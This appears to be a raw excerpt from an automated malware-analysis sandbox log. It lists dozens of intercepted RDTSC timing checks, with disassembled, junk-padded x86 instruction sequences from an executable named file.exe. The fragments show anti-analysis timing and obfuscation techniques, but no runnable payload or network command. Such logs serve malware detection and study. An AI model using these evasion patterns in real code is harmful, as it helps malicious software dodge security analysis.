Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB19 second address: 119AB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1492 second address: 11A1499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1499 second address: 11A14AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD6B878EDB0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A14AF second address: 11A14C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FE88 second address: 119FE9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FE9C second address: 119FEE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD5h 0x00000007 jmp 00007FD6B8875BD5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FD6B8875BD5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0049 second address: 11A005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jp 00007FD6B878EDA6h 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FD6B878EDA6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A005D second address: 11A0069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FD6B8875BC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0582 second address: 11A0588 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0722 second address: 11A0726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A11A6 second address: 11A11AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A11AC second address: 11A11B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A42E0 second address: 11A42E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3FEA second address: 11A3FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3FF2 second address: 11A4015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDADh 0x00000009 pop ecx 0x0000000a popad 0x0000000b jo 00007FD6B878EDB6h 0x00000011 push edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF279 second address: 11BF27F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF27F second address: 11BF285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF285 second address: 11BF2D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6B8875BD1h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f jng 00007FD6B8875BC6h 0x00000015 jmp 00007FD6B8875BCDh 0x0000001a jmp 00007FD6B8875BD0h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD6B8875BD0h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF2D6 second address: 11BF2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEDE9 second address: 11BEE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BD8h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D14F0 second address: 11D14F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D14F6 second address: 11D14FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D14FB second address: 11D1543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDACh 0x00000007 jmp 00007FD6B878EDB5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD6B878EDB9h 0x00000015 push eax 0x00000016 ja 00007FD6B878EDA6h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1543 second address: 11D154D instructions: 0x00000000 rdtsc 0x00000002 js 00007FD6B8875BCEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0768 second address: 11D0787 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD6B878EDA6h 0x00000008 jmp 00007FD6B878EDB5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0787 second address: 11D079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B8875BD0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0D19 second address: 11D0D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD6B878EDB3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0D37 second address: 11D0D4B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD6B8875BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FD6B8875BCEh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0ECC second address: 11D0EEE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD6B878EDA6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FD6B878EDABh 0x00000014 ja 00007FD6B878EDA6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D11F8 second address: 11D121A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jno 00007FD6B8875BC6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D121A second address: 11D1220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E52 second address: 11D3E57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4044 second address: 11D40D5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD6B878EDA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FD6B878EDA8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jne 00007FD6B878EDACh 0x0000002c push 00000004h 0x0000002e movsx edx, si 0x00000031 call 00007FD6B878EDA9h 0x00000036 jno 00007FD6B878EDB8h 0x0000003c push eax 0x0000003d push esi 0x0000003e jmp 00007FD6B878EDB7h 0x00000043 pop esi 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 jmp 00007FD6B878EDB0h 0x0000004d mov eax, dword ptr [eax] 0x0000004f push eax 0x00000050 push edx 0x00000051 push esi 0x00000052 push ebx 0x00000053 pop ebx 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D40D5 second address: 11D40F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD6B8875BD4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D43BB second address: 11D43C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D43C3 second address: 11D4409 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jns 00007FD6B8875BD2h 0x0000000e mov dword ptr [ebp+12475841h], ecx 0x00000014 push dword ptr [ebp+1245A3CBh] 0x0000001a mov dword ptr [ebp+1244D648h], ebx 0x00000020 pushad 0x00000021 mov bx, 7DDEh 0x00000025 movzx eax, di 0x00000028 popad 0x00000029 call 00007FD6B8875BC9h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4409 second address: 11D4432 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD6B878EDAEh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jp 00007FD6B878EDACh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4432 second address: 11D445E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FD6B8875BD3h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD6B8875BCEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D445E second address: 11D446F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D446F second address: 11D4486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4486 second address: 11D4490 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD6B878EDACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5632 second address: 11D5651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BCFh 0x00000009 jmp 00007FD6B8875BCBh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5651 second address: 11D5658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5658 second address: 11D5693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FD6B8875BD2h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FD6B8875BCCh 0x00000017 jmp 00007FD6B8875BCEh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5693 second address: 11D5699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53004F2 second address: 5300501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300501 second address: 5300597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007FD6B878EDB0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 pushfd 0x00000012 jmp 00007FD6B878EDADh 0x00000017 and ecx, 260A90D6h 0x0000001d jmp 00007FD6B878EDB1h 0x00000022 popfd 0x00000023 pop ecx 0x00000024 pushad 0x00000025 movsx edx, ax 0x00000028 call 00007FD6B878EDB8h 0x0000002d pop ecx 0x0000002e popad 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 mov si, 567Dh 0x00000036 mov edx, esi 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a pushad 0x0000003b mov cx, C2B1h 0x0000003f push ecx 0x00000040 pushfd 0x00000041 jmp 00007FD6B878EDADh 0x00000046 jmp 00007FD6B878EDABh 0x0000004b popfd 0x0000004c pop eax 0x0000004d popad 0x0000004e mov ebp, esp 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300597 second address: 530059D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300606 second address: 530060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530060C second address: 5300610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300610 second address: 5300642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD6B878EDB7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300642 second address: 5300681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD6B8875BD1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD6B8875BCDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300681 second address: 53006F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD6B878EDB3h 0x00000014 or ax, 9A6Eh 0x00000019 jmp 00007FD6B878EDB9h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FD6B878EDB0h 0x00000025 jmp 00007FD6B878EDB5h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFB93 second address: 10EFB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFB97 second address: 10EFBB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD6B878EDAAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFBB4 second address: 10EFBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FD6B8875BD8h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E05 second address: 5300E14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E14 second address: 5300E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD6B8875BD3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E32 second address: 5300E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E38 second address: 5300E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E3C second address: 5300E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E40 second address: 5300E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD6B8875BD8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E65 second address: 5300E74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E74 second address: 5300E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E7A second address: 5300E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300E7E second address: 5300EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, dx 0x0000000f pushfd 0x00000010 jmp 00007FD6B8875BD5h 0x00000015 jmp 00007FD6B8875BCBh 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300EB0 second address: 5300EE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD6B878EDAFh 0x00000009 adc eax, 01432D5Eh 0x0000000f jmp 00007FD6B878EDB9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532034B second address: 53203CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6B8875BD1h 0x00000008 call 00007FD6B8875BD0h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov bx, A172h 0x00000017 mov dx, 62BEh 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f call 00007FD6B8875BCBh 0x00000024 movzx esi, di 0x00000027 pop ebx 0x00000028 jmp 00007FD6B8875BD2h 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FD6B8875BCDh 0x00000038 or ch, FFFFFFA6h 0x0000003b jmp 00007FD6B8875BD1h 0x00000040 popfd 0x00000041 mov cx, EED7h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203CF second address: 53203E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203E7 second address: 53203EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203EB second address: 53203EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203EF second address: 53203F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203F5 second address: 5320409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320409 second address: 53204D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FD6B8875BD6h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FD6B8875BD0h 0x00000017 push eax 0x00000018 jmp 00007FD6B8875BCBh 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FD6B8875BD6h 0x00000023 push dword ptr [ebp+08h] 0x00000026 pushad 0x00000027 mov edi, esi 0x00000029 mov ecx, 7AF53829h 0x0000002e popad 0x0000002f lea eax, dword ptr [ebp-08h] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FD6B8875BD2h 0x00000039 sub cl, FFFFFFF8h 0x0000003c jmp 00007FD6B8875BCBh 0x00000041 popfd 0x00000042 pushad 0x00000043 push ecx 0x00000044 pop edx 0x00000045 mov di, ax 0x00000048 popad 0x00000049 popad 0x0000004a nop 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e pushad 0x0000004f popad 0x00000050 pushfd 0x00000051 jmp 00007FD6B8875BCFh 0x00000056 xor cx, A26Eh 0x0000005b jmp 00007FD6B8875BD9h 0x00000060 popfd 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532061E second address: 5320623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320623 second address: 5320629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320629 second address: 5320638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320638 second address: 532063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532063C second address: 5320642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320642 second address: 532065E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B8875BD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532065E second address: 5320688 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD6B878EDB5h 0x00000014 rdtsc
